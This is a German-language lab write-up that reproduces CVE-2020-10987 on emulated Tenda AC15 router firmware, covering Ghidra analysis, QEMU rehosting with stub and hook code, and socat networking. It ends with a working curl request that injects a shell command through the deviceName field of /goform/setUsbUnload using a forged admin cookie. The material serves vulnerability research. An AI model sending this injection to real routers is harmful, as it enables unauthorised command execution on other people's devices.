
Beschreibung für Tenda AC15 Router Firmware-Neuhosting und Remote-Befehlsausführung (CVE-2020-10987) Exploit-Reproduktion.
Diese Anleitung zeigt genau, wie ich den Webserver der AC15 (V15.03.05.19) Firmware mit QEMU emuliert, ihn vom Host-Browser aus erreichbar gemacht und den anfälligen /goform/setUsbUnload-Handler (CVE-2020-10987) genutzt habe, um eine Befehlseinführung im emulierten rootfs zu erreichen.
squashfs-Dateisystem aus dem Firmware-Image extrahieren (oder in unserem Fall beschaffen) und mit dem Reverse Engineering beginnenZuerst müssen wir unser Firmware-Image besorgen. Ich konnte den Download des Images für AC15 V15.03.05.19 nicht finden, jedoch fand ich ein GitHub-Repository mit dem bereits extrahierten squashfs-Dateisystem.
Wenn wir die richtige Image-Datei hätten, könnten wir sie mit binwalk extrahieren, etwa so:```
user@computer $ binwalk -e AC15_V15.03.05.19.bin
64 0x40 TRX firmware header, little endian, image size: 6778880 bytes, CRC32: 0x80AD82D6, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1A488C, rootfs offset: 0x0 92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4177792 bytes 1722572 0x1A48CC Squashfs filesystem, little endian, version 4.0, compression:xz, size: 5052332 bytes, 848 inodes, blocksize: 131072 bytes, created: 2017-04-19 16:18:08
user@computer $ cd _AC15_V15.03.05.19.bin.extracted
Da wir nicht die richtige Image-Datei haben, aber ein Repository mit dem bereits extrahierten Dateisystem, können wir einfach das Repository klonen.```
git clone https://github.com/lapinpt/Tenda-AC15-Firmware-V15.03.05.19-9061
Ich habe ein Verzeichnis namens VR erstellt und dieses Repository darin geklont. Mein rootfs befindet sich unter $HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs
Großartig, jetzt haben wir unsere AC15 V15.03.05.19-Firmware. Lassen Sie uns mit dem Reverse Engineering fortfahren, um zu sehen, was los ist.
Ich werde Ghidra 11.4.2 für mein Reverse Engineering verwenden.
Navigieren wir zu unserer Zielbinärdatei hier rootfs/bin/httpd und laden sie in Ghidra.
Wenn wir zur Funktion formsetUsbUnload gehen, können wir sehen,```C
uVar1 = FUN_0002bd4c(param_1,"deviceName",&DAT_000f4bdc);
doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s",0x33,3,uVar1);
FUN_0002c6cc(param_1,"HTTP/1.0 200 OK\r\n\r\n");
FUN_0002c6cc(param_1,"{"errCode":0}");
FUN_0002cc14(param_1,200);
return;
Dies ist die Schwachstelle. Der Parameter `deviceName` wird direkt an `doSystemCmd` übergeben, sodass wir beliebige Befehle senden können.
Da wir nun diese Firmware mit qemu und nicht mit der ursprünglichen Router-Hardware neu hosten werden, werden einige Programme versuchen, Geräte zu erreichen, die nicht vorhanden sind, und unseren Startvorgang zum Absturz bringen.
Da unser Ziel darin besteht, den Webserver (`httpd`) auszunutzen, habe ich mich nur darauf konzentriert, diese Binärdatei neu zu hosten, nicht den gesamten Startvorgang (`/rootfs/etc_ro/init.d/rcS`). _Im Nachhinein bin ich mir nicht sicher, ob das die richtige Entscheidung war_
Als ich mir also `rcS` ansah, wollte ich alles finden, was `rcS` tun könnte, was `httpd` benötigen würde. Gegen Ende der Datei sehen wir:```bash
cfmd &
echo '' > /proc/sys/kernel/hotplug
udevd &
logserver &
rcS startet cfmd im Hintergrund, kurz bevor der Rest des Stacks hochfährt.
Nach weiterer Recherche und der Untersuchung, wie die angreifbare Funktion den Befehl sendet, bin ich zu dem Schluss gekommen, dass
httpd einen cfm post erstelltcfm-Client mit cfmd über einen UNIX domain socket (z. B. /var/cfm_socket) kommuniziertIn der InitServer-Routine in cfmd können wir sehen```C
unlink("/var/cfm_socket");
strncpy(sa_unix.sun_path, "/var/cfm_socket", ...);
bind(fd, (sockaddr*)&sa_unix, 0x6e);
listen(fd, 5);
Es erstellt einen UIX-Socket und horcht.
Insgesamt funktioniert es so, dass der Handler von jedem Client einen festen 0x7e0-Byte-Frame liest (`RecvMsg`/`SendMsg`). Die ersten 4 Bytes sind ein Befehlscode; dann gibt es einen 512-Byte-Schlüsselpuffer und einen 1500-Byte-Wertpuffer (die Größen der Stack-Objekte sind im Handler ersichtlich). Es schaltet auf den Opcode und antwortet mit einem ACK-Code:
- `2` -> Get: `GetCfmValue(key, value)` dann Antwortcode `3`
- `0` -> Set: `SetCfmValue(key, value)` dann Antwortcode `1`
- `0x11` -> Unset: `UnSetCfmValue(key)` dann Antwortcode `0x12`
- `10` -> Commit: `SaveCfm2Flash()` dann Antwort `0x10` (OK) oder `0xB` (Fehler)
Um `cfmd` zu emulieren, habe ich ein kurzes Skript `cfm_stub` erstellt.```C
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>
#define SOCK_PATH "/var/cfm_socket"
// minimal UNIX-domain server that httpd expects.
// Replies with an IP string when it sees the key it asks for.
int main(void) {
int s = socket(AF_UNIX, SOCK_STREAM, 0);
struct sockaddr_un addr = {0};
if (s < 0) { perror("socket"); return 1; }
unlink(SOCK_PATH);
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, SOCK_PATH, sizeof(addr.sun_path)-1);
if (bind(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) { perror("bind"); return 1; }
if (listen(s, 5) < 0) { perror("listen"); return 1; }
for (;;) {
int c = accept(s, NULL, NULL);
if (c < 0) { if (errno==EINTR) continue; perror("accept"); break; }
char buf[1024]; ssize_t n = read(c, buf, sizeof(buf));
if (n > 0) {
// In some builds httpd asks for "lan.webiplansslen" etc.
// Any non-empty reply that looks like an IP keeps init happy.
const char *reply = "192.168.0.1";
write(c, reply, strlen(reply));
}
close(c);
}
close(s);
return 0;
}
Ich werde zeigen, wie man dies nach dem nächsten Teil kompiliert.
Die nächste Hilfsdatei ist hooks.so. Es gibt einige Funktionen, die in httpd und cfm verwendet werden und versuchen, mit nicht vorhandener Hardware zu interagieren.
Im Folgenden wird angenommen, was unser Programm beim Start voraussetzt:
/dev/nvram) und gibt sinnvolle Standardwerte zurück.Die folgenden Funktionen werden zum Problem, und daher müssen wir mit LD_PRELOAD=/hooks.so patchen.
get_flash_type() -> wenn es 4 zurückgibt, nimmt der Code einen dateibasierten Pfad (cfm_file_init), andernfalls versucht er, mit MTD zu kommunizieren (was wir nicht haben).get_cfm_blk_size_from_cache() (und/oder die Variante j_get_cfm_blk_size_from_cache) wird für die Konfigurationsblockgröße konsultiert.bcm_nvram_get) dürfen nicht fehlschlagen, sonst nimmt der Stack an, „NVRAM zerstört“ und geht in die Wiederherstellungs-/Neustartlogik über.load_l7setting_file() und restore_power() sollten erfolgreich sein, greifen aber auf nicht vorhandene Hardware/Dateien zu.Hier ist unser hooks.c. Dank an azeria-labs für das Original.```C
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
#include <string.h>
int j_get_cfm_blk_size_from_cache(const int i) { puts("j_get_cfm_blk_size_from_cache called....\n"); return 0x20000; // 128 KiB block — what the file path expects }
int get_flash_type() { puts("get_flash_type called....\n"); return 4; // force file-backed CFM init, not MTD }
int load_l7setting_file() { puts("load_l7setting_file called....\n"); return 1; // pretend Layer-7 settings loaded OK }
int restore_power(int a, int b) { puts("restore_power called....\n"); return 0; // success (don’t touch RF/power hardware) }
char *bcm_nvram_get(char *key) { char *value = NULL;
if (strcmp(key, "et0macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FE"); // any valid MAC works } if (strcmp(key, "sb/1/macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FD"); } if (strcmp(key, "default_nvram") == 0) { value = strdup("default_nvram"); // signals “nvram is OK” }
printf("bcm_nvram_get(%s) == %s\n", key, value); return value; }
Jetzt kompilieren wir diese Dateien und platzieren sie in unserer Firmware. Für das Cross-Compilieren können wir Bootlins vorgefertigte uClibc-Toolchain verwenden.```bash
wget https://toolchains.bootlin.com/downloads/releases/toolchains/armv5-eabi/tarballs/armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
tar xjf armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
export PATH="$PWD/armv5-eabi--uclibc--stable-2020.08-1/bin:$PATH"
ls armv5-eabi--uclibc--stable-2020.08-1/bin | grep gcc
Sie sollten so etwas wie das Folgende sehen.```bash arm-buildroot-linux-uclibcgnueabi-gcc arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0 arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0.br_real arm-buildroot-linux-uclibcgnueabi-gcc-ar arm-buildroot-linux-uclibcgnueabi-gcc.br_real arm-buildroot-linux-uclibcgnueabi-gcc-nm arm-buildroot-linux-uclibcgnueabi-gcc-ranlib arm-linux-gcc arm-linux-gcc-9.3.0 arm-linux-gcc-9.3.0.br_real arm-linux-gcc-ar arm-linux-gcc.br_real arm-linux-gcc-nm arm-linux-gcc-ranlib
Jetzt können wir kompilieren mit```bash
arm-buildroot-linux-uclibcgnueabi-gcc -shared -fPIC -Os -ldl -Wl,-soname,hooks.so -o hooks.so hooks.c
arm-buildroot-linux-uclibcgnueabi-gcc -Os -s -o cfm_stub cfm_stub.c
Dann installiere sie zuletzt in die Firmware.``` $FIRM = "$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs" install -m 0644 ./hooks.so "$FIRM/hooks.so" install -D -m 0755 ./cfm_stub "$FIRM/usr/sbin/cfm_stub"
## Ein ARM-Gastsystem erstellen
Richten wir unseren ARM-Gast mit dem vollständigen QEMU-System ein.
Ich habe ein Verzeichnis erstellt, um dieses Gastsystem unter `~/qsys` zu speichern.
Jetzt richten wir in diesem Verzeichnis unseren Gast wie folgt ein```bash
sudo apt-get install -y qemu-system-arm qemu-utils debootstrap qemu-user-static binfmt-support
mkdir -p ~/qsys/rootfs-armhf
sudo debootstrap --arch=armhf --foreign bookworm ~/qsys/rootfs-armhf http://deb.debian.org/debian
sudo cp /usr/bin/qemu-arm-static ~/qsys/rootfs-armhf/usr/bin/
sudo chroot ~/qsys/rootfs-armhf /debootstrap/debootstrap --second-stage
cat | sudo tee ~/qsys/rootfs-armhf/etc/apt/sources.list >/dev/null <<'EOF'
deb http://deb.debian.org/debian bookworm main
EOF
sudo chroot ~/qsys/rootfs-armhf apt-get update
sudo chroot ~/qsys/rootfs-armhf apt-get install -y \
net-tools iproute2 iputils-ping python3 busybox-syslogd openssh-server \
ifupdown curl ca-certificates
sudo chroot ~/qsys/rootfs-armhf bash -lc 'echo "root:root" | chpasswd'
Dies wird unser armhf-rootfs erstellen, unseren Gast aktualisieren, einige Basistools einrichten und dann unser root username:password auf root:root setzen.
Als nächstes installieren Sie den armhf kernal mit```bash sudo chroot ~/qsys/rootfs-armhf apt-get install -y linux-image-armmp
Dann kopieren wir den Kernel und erstellen das ext4-Image.```bash
mkdir -p ~/qsys/kernel
KVER=$(ls ~/qsys/rootfs-armhf/boot/vmlinuz-* | sed 's#.*/vmlinuz-##')
cp ~/qsys/rootfs-armhf/boot/vmlinuz-$KVER ~/qsys/kernel/zImage
cp ~/qsys/rootfs-armhf/usr/lib/linux-image-$KVER/vexpress-v2p-ca9.dtb ~/qsys/kernel/
dd if=/dev/zero of=~/qsys/armhf.ext4 bs=1M count=2048
mkfs.ext4 -F ~/qsys/armhf.ext4
sudo mount ~/qsys/armhf.ext4 /mnt
sudo rsync -aHAX ~/qsys/rootfs-armhf/ /mnt/
sudo umount /mnt
Um nun unser Gastsystem zu starten
Führen Sie von ~/qsys aus```bash
qemu-system-arm
-M vexpress-a9 -cpu cortex-a9 -m 512M
-kernel ./kernel/zImage
-dtb ./kernel/vexpress-v2p-ca9.dtb
-initrd ./kernel/initrd.img
-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"
-nographic -audiodev none,id=noaudio
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80
-device virtio-net-device,netdev=net0
-drive file=./armhf.ext4,if=sd,format=raw
-fsdev local,id=fsdev0,path=$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs,security_model=none,readonly=on
-device virtio-9p-device,fsdev=fsdev0,mount_tag=fw
Hier ist eine kurze Übersicht, was diese Zeilen im Startbefehl tatsächlich bedeuten.
- `-M vexpress-a9 -cpu cortex-a9 -m 512M` Verwenden Sie das Versatile Express A9 Board-Modell (ein von Debian's armmp-Kernel unterstütztes Board)
- `-kernel/-dtb/-initr` Den Debian-Kernel/Initrd für dieses Board mit dem vexpress Device Tree Blob starten
- `-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"` Standard-Rootfs-auf-SD-Setup mit serieller Konsole auf PL011
- `-nographic -audiodev none,id=noaudio` Nur serielle Oberfläche (kein SDL-Fenster) und kein Audio.
- `-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80` QEMU-Benutzermodus-NAT; leite `host:2222` an `guest:22` und `host:8080` an `guest:80` weiter. Das ist wichtig für die Vernetzung. Wir werden später mehr darüber sprechen.
- `-device virtio-net-device,netdev=net0` Ein Netzwerkinterface an die `net0`-Backend anbinden.
- `-drive file=./armhf.ext4,if=sd,format=raw` Das Debian-Rootfs befindet sich auf einem SD-ähnlichen Blockgerät (`/dev/mmcblk0`).
- `-fsdev ... -device virtio-9p-device ... mount_tag=fw` Stelle das Firmware-Rootfs (schreibgeschützt) über 9p mit Tag `fw` im Gast bereit. Wir werden es unter `/firmware` mounten und ein Overlayfs für Schreibbarkeit darüberlegen.
Jetzt könnten im Gast ein paar Fehler auftreten. Das ist in Ordnung, solange du zur Anmeldeaufforderung gelangst und dich mit `root:root` anmelden kannst.
Als nächstes, um Internet im Gast zu erhalten, führe folgendes aus:```
dhclient -v eth0 || udhcpc -i eth0
Dies wird einen DHCP-Lease auf eth0 erhalten
Installieren Sie nun socat``` apt-get update && apt-get install -y socat
## Bootskript
Als nächstes erstellen wir unser Bootskript im Stammverzeichnis des Gasts.```bash
nano boot_tenda.sh
Hier ist unser Boot-Skript /root/boot_tenda_sh in unserer Gast-Umgebung mit Kommentaren, die jeden Schritt erklären.```bash
set -e
mkdir -p /firmware mountpoint -q /firmware || mount -t 9p -o trans=virtio,version=9p2000.L fw /firmware
for m in /mnt/fw/dev /mnt/fw/proc /mnt/fw/sys /mnt/fw; do umount -l "$m" 2>/dev/null || true; done
rm -rf /overlay_run
mkdir -p /overlay_run/upper /overlay_run/work /mnt/fw
mount -t overlay overlay
-o lowerdir=/firmware,upperdir=/overlay_run/upper,workdir=/overlay_run/work
/mnt/fw
mount --bind /dev /mnt/fw/dev mount --bind /proc /mnt/fw/proc mount --bind /sys /mnt/fw/sys mkdir -p /mnt/fw/var/log /mnt/fw/var/run /mnt/fw/tmp
ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up
pidof syslogd >/dev/null || syslogd
chroot /mnt/fw /bin/sh -c 'mkdir -p /webroot; cp -r /webroot_ro/* /webroot/ 2>/dev/null || true'
chroot /mnt/fw /bin/sh -c '/usr/sbin/cfm_stub >/var/log/cfm_stub.log 2>&1 &' sleep 1 [ -S /overlay_run/upper/var/cfm_socket ] && echo "cfm socket up" || echo "no cfm socket"
chroot /mnt/fw /bin/sh -c 'export LD_LIBRARY_PATH=/lib:/usr/lib; LD_PRELOAD=/hooks.so /bin/httpd >/var/log/httpd.log 2>&1 &' sleep 2
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')
if command -v socat >/dev/null; then
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80
>/root/socat.log 2>&1 &
else
echo "socat not found"
fi
(ss -lntp || netstat -lntp) 2>/dev/null | grep -E '(:80\b|httpd)' || true
Jetzt ist es Zeit, es auszuführen```
chmod +x /root/boot_tenda.sh
/root/boot_tenda.sh
Sie sollten einen Listener auf Port 80 mit httpd sehen.
Zur weiteren Überprüfung navigieren Sie auf Ihrem Host zu http://127.0.0.1:8080/ und Sie sehen die Startseite des Routers.
Wenn Sie mehr darüber erfahren möchten, wie die Vernetzung funktioniert, lesen Sie weiter. Andernfalls können Sie zum letzten Abschnitt springen, in dem wir den Webserver ausnutzen.
Wir mussten den httpd des Routers innerhalb der Gastmaschine laden, aber vom Host-Browser unter http://127.0.0.1:8080/ erreichbar machen, während der Server weiterhin glaubt, an die LAN-IP des Routers (192.168.0.1) gebunden zu sein.
Drei Komponenten ermöglichen dies:
br0 bei 192.168.0.1)socat)Dies tun wir im Startbefehl, wenn wir angeben```bash -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80 -device virtio-net-device,netdev=net0
- `-netdev user,...` aktiviert slirp (QEMUs user-mode NAT): Der Gast erhält ausgehenden Internetzugang (DHCP, DNS), ohne dass auf dem Host Root-Brücken oder TAP-Geräte benötigt werden.
- `hostfwd=tcp::2222-:22` leitet Host-Port 2222 an Gast-Port 22 weiter.
- `hostfwd=tcp::8080-:80` leitet Host-Port 8080 an Gast-Port 80 weiter.
Dann erhalten wir den DHCP-Lease für `eth0`. Beachten Sie, dass Slirp dem Gast normalerweise `10.0.2.15` zuweist, mit dem Gateway unter `10.0.2.2`.```bash
dhclient -v eth0 || udhcpc -i eth0
Die echte Firmware erwartet, sich an die LAN-Bridge br0 unter 192.168.0.1 zu binden. Das stellen wir nach:```bash ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up
- Die Binärdateien (oder deren Bibliotheken) fragen oft nach Schnittstellennamen (z.B. `lan_ifname=br0`) und erwarten ein Bridge-Gerät.
- Das Binden von httpd an `192.168.0.1` bewirkt, dass das Verhalten/die Weiterleitungen (z.B. `302` zu `http://192.168.0.1/main.html`) mit dem echten Gerät identisch sind.
- An diesem Punkt hört httpd nur auf `192.168.0.1:80` (nicht auf dem `eth0` des Gasts).
### 3. Bridge hostfwd -> Firmware-Listener mit `socat`
`host:8080` -> `guest:80` wird bereits von QEMU eingerichtet. Aber `httpd` hört nicht auf dem `eth0:80` des Gasts; es hört auf `192.168.0.1:80`. Also fügen wir im Gast einen winzigen TCP-Relay hinzu:```bash
# find the slirp IP (usually 10.0.2.15)
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')
# forward guest:eth0:80 → 192.168.0.1:80
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80 \
>/root/socat.log 2>&1 &
Hier ist das gesamte Layout``` Host browser (127.0.0.1:8080) │ V QEMU hostfwd:8080 → guest:80 (on eth0 @ 10.0.2.15) │ V socat in guest: 10.0.2.15:80 → 192.168.0.1:80 │ V httpd bound at 192.168.0.1:80 (inside firmware chroot)
## Exploit-Zeit
Der Web-Stack schützt „goform“-Endpunkte hinter einigen Same-Origin/AJAX-Prüfungen und einem „logged in“-Cookie. Senden Sie die gleichen Header, die das UI-JavaScript senden würde:```bash
curl -v \
-H 'Host: 192.168.0.1' \
-H 'Origin: http://192.168.0.1' \
-H 'Referer: http://192.168.0.1/index.html' \
-H 'X-Requested-With: XMLHttpRequest' \
-H 'Cookie: user=admin; password=21232f297a57a5a743894a0e4a801fc3' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'deviceName=$(touch /tmp/Hello_World)' \
http://127.0.0.1:8080/goform/setUsbUnload
Was macht das genau?
Host/Origin/Referer/X-Requested-With besteht die AJAX- und Same-Origin-Prüfungen im HandlerCookie: user=admin; password=<md5> simuliert eine eingeloggte Sitzung. In diesem Fall habe ich md5("admin") = 21232f297a57a5a743894a0e4a801fc3 verwendetdeviceName=$(touch /tmp/Hello_World) setzt den Gerätenamen auf den Befehl, den wir ausführen möchten. In diesem Fall erstellen wir eine Datei /tmp/Hello_World
Hinweis: Die Ausführung dieses Befehls wird eine Weile hängen bleiben und dann höchstwahrscheinlich die Verbindung mit einem Fehler schließen. Das ist in Ordnung und der Beweis, dass es funktioniert hat.Als Nächstes können wir im Gast zur weiteren Überprüfung nach der Existenz unserer neuen Datei suchen.```bash chroot /mnt/fw /bin/sh -c 'ls -l /tmp/Hello_World && echo "success it worked!"
Sie sollten sehen```
-rw-r--r-- 1 root root 0 ... /tmp/Hello_World
success it worked!
Wir haben unseren erneut gehosteten Router erfolgreich ausgenutzt, indem wir unseren gesendeten Befehl ausgeführt haben.